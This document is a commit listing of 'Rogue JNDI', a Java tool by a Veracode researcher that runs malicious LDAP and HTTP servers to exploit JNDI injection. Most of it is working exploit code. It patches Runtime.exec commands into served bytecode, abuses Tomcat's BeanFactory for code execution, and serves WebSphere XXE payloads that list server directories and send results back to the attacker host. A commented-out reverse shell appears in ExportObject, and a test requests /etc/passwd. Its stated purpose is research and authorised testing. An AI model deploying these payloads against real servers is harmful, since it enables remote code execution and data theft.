master
Michael Stepankin 6 years ago
commit 2f7e814f60
  1. 16
      .gitignore
  2. 21
      LICENSE
  3. 84
      README.md
  4. 92
      pom.xml
  5. 57
      src/main/java/artsploit/Config.java
  6. 62
      src/main/java/artsploit/ExportObject.java
  7. 147
      src/main/java/artsploit/HttpServer.java
  8. 90
      src/main/java/artsploit/LdapServer.java
  9. 15
      src/main/java/artsploit/RogueJndi.java
  10. 43
      src/main/java/artsploit/Utilities.java
  11. 12
      src/main/java/artsploit/annotations/LdapMapping.java
  12. 7
      src/main/java/artsploit/controllers/LdapController.java
  13. 19
      src/main/java/artsploit/controllers/PropertiesRefAddr.java
  14. 40
      src/main/java/artsploit/controllers/RemoteReference.java
  15. 57
      src/main/java/artsploit/controllers/Tomcat.java
  16. 57
      src/main/java/artsploit/controllers/WebSphere1.java
  17. 59
      src/main/java/artsploit/controllers/WebSphere2.java
  18. 54
      src/test/java/RogueJndiTest.java
  19. 22
      src/test/java/TestingSecurityManager.java

16
.gitignore vendored

@ -0,0 +1,16 @@
# java
*.class
# mvn
target/
# eclipse
.classpath
.project
.settings/
# idea
.idea/
*.iml
dependency-reduced-pom.xml

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019 Michael Stepankin
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

@ -0,0 +1,84 @@
## Rogue JNDI
A malicious LDAP server for JNDI injection attacks.
### Description
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.<br>
In order to perform an attack, you can start these servers localy and then trigger a JNDI resolution on the vulnerable client, e.g.:
```java
InitialContext.lookup("ldap://your_server.com:1389/o=reference");
```
It will initiate a connection from the vulnerable clinet to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
### Motivation
In addition to the known JNDI attack methods(via remote classloading in references), this tool brings new attack vectors by leveraging the power of [ObjectFactories](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html).
### Supported payloads
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory**
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**
### Usage
```
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
```
The most important parameters are the ldap server hostname (-n, should be accessible from the target) and the command you want to execute on the target server (-c).
As an alternative to the "-c" option, you can modify the [ExportObject.java](/src/main/java/artsploit/ExportObject.java) file by putting java code you want to execute on the target server.
### Example:
```
$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```
### Building
Java v1.7+ and Maven v3+ required
```
mvn package
```
### Disclamer
This software is provided solely for educational purposes and/or for testing systems which the user has prior permission to attack.
### Special Thanks
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research
### Links
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
### Authors
[Michael Stepankin](https://twitter.com/artsploit), Veracode Research

@ -0,0 +1,92 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>RogueJndi</groupId>
<artifactId>RogueJndi</artifactId>
<version>1.0</version>
<packaging>jar</packaging>
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.45</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.45</version>
</dependency>
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.78</version>
</dependency>
<dependency>
<groupId>org.reflections</groupId>
<artifactId>reflections</artifactId>
<version>0.9.11</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.8</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
</dependencies>
<properties>
<maven.test.skip>true</maven.test.skip>
</properties>
<build>
<plugins>
<plugin>
<artifactId>maven-shade-plugin</artifactId>
<version>3.2.1</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<transformers>
<transformer implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
<mainClass>artsploit.RogueJndi</mainClass>
</transformer>
</transformers>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>7</source>
<target>7</target>
</configuration>
</plugin>
</plugins>
</build>
</project>

@ -0,0 +1,57 @@
package artsploit;
import com.beust.jcommander.JCommander;
import com.beust.jcommander.Parameter;
import com.beust.jcommander.UnixStyleUsageFormatter;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class Config {
@Parameter(names = {"-c", "--command"}, description = "Command to execute on the target server", order = 0)
public static String command = "/Applications/Calculator.app/Contents/MacOS/Calculator";
@Parameter(names = {"-n", "--hostname"}, description = "Local HTTP server hostname " +
"(required for remote classloading and websphere payloads)", order = 1)
public static String hostname;
static {
try { //try to get the local hostname by default
hostname = InetAddress.getLocalHost().getHostAddress();
} catch (UnknownHostException e) {
hostname = "127.0.0.1";
}
}
@Parameter(names = {"-l", "--ldapPort"}, description = "Ldap bind port", order = 2)
public static int ldapPort = 1389;
@Parameter(names = {"-p", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 8000;
@Parameter(names = {"--wsdl"}, description = "[websphere1 payload option] WSDL file with XXE payload", order = 4)
public static String wsdl = "/list.wsdl";
@Parameter(names = {"--localjar"}, description = "[websphere2 payload option] Local jar file to load " +
"(this file should be located on the remote server)", order = 5)
public static String localjar = "../../../../../tmp/jar_cache7808167489549525095.tmp";
@Parameter(names = {"-h", "--help"}, help = true, description = "Show this help")
private static boolean help = false;
public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
jc.parse(args);
jc.setProgramName("java -jar target/RogueJndi-1.0.jar");
jc.setUsageFormatter(new UnixStyleUsageFormatter(jc));
if(help) {
jc.usage(); //if -h specified, show help and exit
System.exit(0);
}
}
}

@ -0,0 +1,62 @@
package artsploit;
import javax.naming.Context;
import javax.naming.Name;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.Hashtable;
/**
* ExportObject class is served via HTTP for URLClassloaders
* the bytecode of this constructor is patched in the {@link HttpServer} class
* by adding a new Runtime.exec(Config.command) to the top of the constructor
* feel free to any code you want to execute on the target here
*/
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
//oob check
// Runtime.getRuntime().exec("nslookup jndi.x.artsploit.com");
// Runtime.getRuntime().exec("calc.exe");
//Pure Groovy/Java Reverse Shell
//snatched from https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
// String lhost = "127.0.0.1";
// int lport = 8080;
//// String cmd = "cmd.exe"; //win
// String cmd="/bin/bash"; //linux
// Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
// Socket s = new Socket(lhost,lport);
// InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
// OutputStream po = p.getOutputStream(), so = s.getOutputStream();
// while(!s.isClosed()) {
// while(pi.available() > 0)
// so.write(pi.read());
// while(pe.available() > 0)
// so.write(pe.read());
// while(si.available() > 0)
// po.write(si.read());
// so.flush();
// po.flush();
// Thread.sleep(50);
// try {
// p.exitValue();
// break;
// } catch (Exception e){
//
// }
// }
// p.destroy();
// s.close();
} catch(Exception e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
return null;
}
}

@ -0,0 +1,147 @@
package artsploit;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.lang3.reflect.FieldUtils;
import org.reflections.Reflections;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;
import java.util.jar.JarOutputStream;
import java.util.zip.ZipEntry;
import static org.apache.commons.text.StringEscapeUtils.escapeJava;
public class HttpServer implements HttpHandler {
byte[] exportByteCode;
byte[] exportJar;
public static void start() throws Exception {
System.out.println("Starting HTTP server on 0.0.0.0:" + Config.httpPort);
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(Config.httpPort), 10);
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(Executors.newCachedThreadPool());
httpServer.start();
}
public HttpServer() throws Exception {
exportByteCode = patchBytecode(ExportObject.class, Config.command, "xExportObject");
exportJar = createJar(exportByteCode, "xExportObject");
}
/**
* Patch the bytecode of supplied class constructor by injecting execution of a command
*/
byte[] patchBytecode(Class clazz, String command, String newName) throws Exception {
//load ExploitObject.class bytecode
ClassPool classPool = ClassPool.getDefault();
CtClass exploitClass = classPool.get(clazz.getName());
//patch its bytecode by adding a new command
CtConstructor m = exploitClass.getConstructors()[0];
m.insertBefore("{ Runtime.getRuntime().exec(\"" + escapeJava(command) + "\"); }");
exploitClass.setName(newName);
exploitClass.detach();
return exploitClass.toBytecode();
}
/**
* Create an executable jar based on supplied bytecode
*/
byte[] createJar(byte[] exportByteCode, String className) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
JarOutputStream jarOut = new JarOutputStream(bout);
jarOut.putNextEntry(new ZipEntry(className + ".class"));
jarOut.write(exportByteCode);
jarOut.closeEntry();
jarOut.close();
bout.close();
return bout.toByteArray();
}
public void handle(HttpExchange httpExchange) {
try {
String path = httpExchange.getRequestURI().getPath();
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " asking for " + path);
switch (path) {
case "/xExportObject.class":
//send xExportObject bytecode back to client
httpExchange.sendResponseHeaders(200, exportByteCode.length);
httpExchange.getResponseBody().write(exportByteCode);
break;
case "/xExportObject.jar":
//send xExportObject bytecode in a jar archive
//payload for artsploit.controllers.WebSphere1-2
httpExchange.sendResponseHeaders(200, exportJar.length+1);
httpExchange.getResponseBody().write(exportJar);
System.out.println("Stalling connection for 60 seconds");
Thread.sleep(60000);
System.out.println("Release stalling...");
break;
case "/upload.wsdl":
//payload for artsploit.controllers.WebSphere1-2
//intended to upload xExploitObject.jar into the /temp directory on server
String uploadWsdl = "<!DOCTYPE a SYSTEM \"jar:http://" + Config.hostname + ":" + Config.httpPort +
"/xExploitObject.jar!/file.txt\"><a></a>";
httpExchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);
httpExchange.getResponseBody().write(uploadWsdl.getBytes());
break;
case "/xx.http":
//payload for artsploit.controllers.WebSphere1-2
//second part for upload.wsdl
String xxhttp = "<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\"uri\" location=\"http://" +
Config.hostname + ":" + Config.httpPort + "/xxeLog?%aaa;\"/>&#39;>'>%ccc;";
httpExchange.sendResponseHeaders(200, xxhttp.getBytes().length);
httpExchange.getResponseBody().write(xxhttp.getBytes());
break;
case "/list.wsdl":
//payload for artsploit.controllers.WebSphere1-2
//intended to list files in the /temp directory on server
String listWsdl = "" +
"<!DOCTYPE x [\n" +
" <!ENTITY % aaa SYSTEM \"file:///tmp/\">\n" +
" <!ENTITY % bbb SYSTEM \"http://" + Config.hostname + ":" + Config.httpPort + "/xx.http\">\n" +
" %bbb;\n" +
"]>\n" +
"<definitions name=\"HelloService\" xmlns=\"http://schemas.xmlsoap.org/wsdl/\">\n" +
" &ddd;\n" +
"</definitions>";
httpExchange.sendResponseHeaders(200, listWsdl.getBytes().length);
httpExchange.getResponseBody().write(listWsdl.getBytes());
break;
case "/xxeLog":
//xxe logger for websphere wsdl payloads
//hacky way to access private fields of (Request)((ExchangeImpl)((HttpExchangeImpl)httpExchange).impl).req
Object exchangeImpl = FieldUtils.readField(httpExchange, "impl", true);
Object request = FieldUtils.readField(exchangeImpl, "req", true);
String startLine = (String) FieldUtils.readField(request, "startLine", true);
System.out.println("\u001B[31mxxe attack result: " + startLine + "\u001B[0m");
httpExchange.sendResponseHeaders(200, 0);
break;
default:
httpExchange.sendResponseHeaders(200, 0);
}
httpExchange.close();
} catch(Exception e) {
e.printStackTrace();
}
}
}

@ -0,0 +1,90 @@
package artsploit;
import artsploit.annotations.LdapMapping;
import artsploit.controllers.LdapController;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import org.reflections.Reflections;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.lang.reflect.Constructor;
import java.net.InetAddress;
import java.util.Set;
import java.util.TreeMap;
class LdapServer extends InMemoryOperationInterceptor {
TreeMap<String, LdapController> routes = new TreeMap<>();
public static void start() {
try {
System.out.println("Starting LDAP server on 0.0.0.0:" + Config.ldapPort);
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
Config.ldapPort,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public LdapServer() throws Exception {
//find all classes annotated with @LdapMapping
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
.getTypesAnnotatedWith(LdapMapping.class);
//instantiate them and store in the routes map
for(Class<?> controller : controllers) {
Constructor<?> cons = controller.getConstructor();
LdapController instance = (LdapController) cons.newInstance();
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
for(String mapping : mappings) {
if(mapping.startsWith("/"))
mapping = mapping.substring(1); //remove first forward slash
System.out.printf("Mapping ldap://%s:%s/%s to %s\n",
Config.hostname, Config.ldapPort, mapping, controller.getName());
routes.put(mapping, instance);
}
}
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
LdapController controller = null;
//find controller
for(String key: routes.keySet()) {
//compare using wildcard at the end
if(key.equals(base) || key.endsWith("*") && base.startsWith(key.substring(0, key.length()-1))) {
controller = routes.get(key);
break;
}
}
try {
controller.sendResult(result, base);
} catch (Exception e1) {
e1.printStackTrace();
}
}
}

@ -0,0 +1,15 @@
package artsploit;
public class RogueJndi {
public static void main(String[] args) throws Exception {
System.out.println(
"+-+-+-+-+-+-+-+-+-+\n" +
"|R|o|g|u|e|J|n|d|i|\n" +
"+-+-+-+-+-+-+-+-+-+"
);
Config.applyCmdArgs(args);
HttpServer.start();
LdapServer.start();
}
}

@ -0,0 +1,43 @@
package artsploit;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
public class Utilities {
public static byte[] serialize(Object ref) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(ref);
return out.toByteArray();
}
public static String makeJavaScriptString(String str) {
ArrayList<String> result = new ArrayList<>(str.length());
for(int i=0; i<str.length(); i++) {
Integer x = Character.codePointAt(str, i);
result.add(x.toString());
}
return "String.fromCharCode(" + String.join(",", result) + ")";
}
/**
* Get a parameter value from the baseDN ldap string
* e.g. getDnParam("o=was2,file=/etc/passwd,xxx=yyy", "file") returns "/etc/passwd"
*/
public static String getDnParam(String baseDN, String param) {
int startIndex = baseDN.indexOf(param + "=");
if(startIndex == -1)
return null;
startIndex += param.length() + 1 ;
int endIndex = baseDN.indexOf(',', startIndex);
if(endIndex == -1)
return baseDN.substring(startIndex);
else
return baseDN.substring(startIndex, endIndex);
}
}

@ -0,0 +1,12 @@
package artsploit.annotations;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.TYPE)
public @interface LdapMapping {
String[] uri();
}

@ -0,0 +1,7 @@
package artsploit.controllers;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
public interface LdapController {
void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
}

@ -0,0 +1,19 @@
package com.ibm.websphere.client.factory.jdbc;
import javax.naming.RefAddr;
import java.util.Properties;
//this is a stub class required by WebSphere2 ldap handler
public class PropertiesRefAddr extends RefAddr {
private static final long serialVersionUID = 288055886942232156L;
private Properties props;
public PropertiesRefAddr(String addrType, Properties props) {
super(addrType);
this.props = props;
}
public Object getContent() {
return this.props;
}
}

@ -0,0 +1,40 @@
package artsploit.controllers;
import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* Classic JNDI attack. The server responds with a reference object.
* When the reference is unpacked on the server side, if "javaFactory" class name is unknown for the server,
* its bytecode is loaded and executed from "http://hostname/xExportObject.class"
*
* Yields:
* RCE via remote classloading.
*
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
*
* Requires:
* - java <8u191
*
* @author artsploit
*/
@LdapMapping(uri = { "/", "/o=reference" })
public class RemoteReference implements LdapController {
private String classloaderUrl = "http://" + Config.hostname + ":" + Config.httpPort + "/";
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
System.out.println("Sending LDAP reference result for " + classloaderUrl);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", "xUnknown"); //could be any unknown
e.addAttribute("javaFactory", "xExportObject"); //could be any unknown
e.addAttribute("javaCodeBase", classloaderUrl);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

@ -0,0 +1,57 @@
package artsploit.controllers;
import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import static artsploit.Utilities.makeJavaScriptString;
import static artsploit.Utilities.serialize;
/**
* Yields:
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
* When bean is created on the server side, we can control its class name and setter methods,
* so we can leverage {@link javax.el.ELProcessor#eval} method to execute arbitrary Java code via EL evaluation
*
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
*
* Requires:
* - tomcat-embed-core.jar
* - tomcat-embed-el.jar
*
* @author artsploit
*/
@LdapMapping(uri = { "/o=tomcat" })
public class Tomcat implements LdapController {
String payload = ("{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" +
"}")
.replace("${command}", makeJavaScriptString(Config.command));
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", payload));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

@ -0,0 +1,57 @@
package artsploit.controllers;
import artsploit.Config;
import artsploit.Utilities;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import static artsploit.Utilities.serialize;
/**
* WebSphere1 attack leverages {@link com.ibm.ws.webservices.engine.client.ServiceFactory}
* to download and parse WSDL files from arbitrary locations
*
* Yields:
* OOB XXE in WSDL parsing with the ability to read some files from local disk or list directories
* Could also be used to upload files in the temporary folder for {@link WebSphere2}
* @see artsploit.HttpServer for example of malicious WSDL payloads
*
* Requires:
* - websphere v6-9 libraries in the classpath
*
* @author artsploit
*/
@LdapMapping(uri = { "/o=websphere1", "/o=websphere1,wsdl=*" })
public class WebSphere1 implements LdapController {
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
//get wsdl location from the url parameter
String wsdl = Utilities.getDnParam(result.getRequest().getBaseDN(), "wsdl");
if(wsdl == null)
wsdl = "http://" + Config.hostname + ":" + Config.httpPort + Config.wsdl; //get from config if not specified
System.out.println("Sending Websphere1 payload pointing to " + wsdl);
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
javax.naming.Reference ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", wsdl));
ref.add(new StringRefAddr("service namespace","xxx"));
ref.add(new StringRefAddr("service local part","yyy"));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

@ -0,0 +1,59 @@
package artsploit.controllers;
import artsploit.Config;
import artsploit.Utilities;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import java.util.Properties;
import static artsploit.Utilities.serialize;
/**
* WebSphere2 attack leverages {@link com.ibm.ws.client.applicationclient.ClientJ2CCFFactory}
* to load an arbitrary Bean class with the ability to add any local jar to the classpath
*
* Yields:
* loading and executing any local jar file via classpath manipulation
* Since we can upload any jar file into /temp folder via XXE in {@link WebSphere1}, this attack could lead to a full RCE
* @see artsploit.HttpServer for a set of malicious WSDL payloads
*
* Requires:
* - websphere v6-9 libraries in the classpath
*
* @author artsploit
*/
@LdapMapping(uri = { "/o=websphere2", "/o=websphere2,jar=*" })
public class WebSphere2 implements LdapController {
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
//get localJar from the url parameter
String localJar = Utilities.getDnParam(result.getRequest().getBaseDN(), "jar");
if(localJar == null)
localJar = Config.localjar; //get from config if not specified
System.out.println("Sending Websphere2 payload pointing to " + localJar);
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
Reference ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJar);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddr("JMSProperties", refProps));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}

@ -0,0 +1,54 @@
import artsploit.Config;
import artsploit.RogueJndi;
import org.junit.BeforeClass;
import org.junit.Ignore;
import org.junit.Test;
import javax.naming.InitialContext;
/**
* Main testing class
* @author artsploit
*/
public class RogueJndiTest {
@BeforeClass
public static void setup() throws Exception {
//modify testing ldap and http ports to not interfere with the non-testing one
Config.hostname = "127.0.0.1";
Config.ldapPort = 1390;
Config.httpPort = 8001;
Config.command = "whoami";
RogueJndi.main(new String[0]);
}
@Test
public void reference() throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=reference");
}
@Test
public void tomcat() throws Exception {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat");
}
@Ignore
@Test
public void websphere1() throws Exception {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=was2,file=../../../etc/passwd");
}
private void testLookup(String name) throws Exception {
TestingSecurityManager sm = new TestingSecurityManager();
try {
System.setSecurityManager(sm);
new InitialContext().lookup(name);
} catch (Exception e) {
e.printStackTrace();
}
System.setSecurityManager(null);
sm.assertExec();
}
}

@ -0,0 +1,22 @@
import java.security.Permission;
public class TestingSecurityManager extends SecurityManager {
String executed;
@Override
public void checkExec (String cmd) {
executed = cmd;
System.out.println("Executed: " + cmd);
}
@Override
public void checkPermission (Permission perm) {
//allow everything
}
void assertExec() throws Exception {
if (executed == null)
throw new Exception("Runtime.exec() is not executed!");
}
}
Loading…
Cancel
Save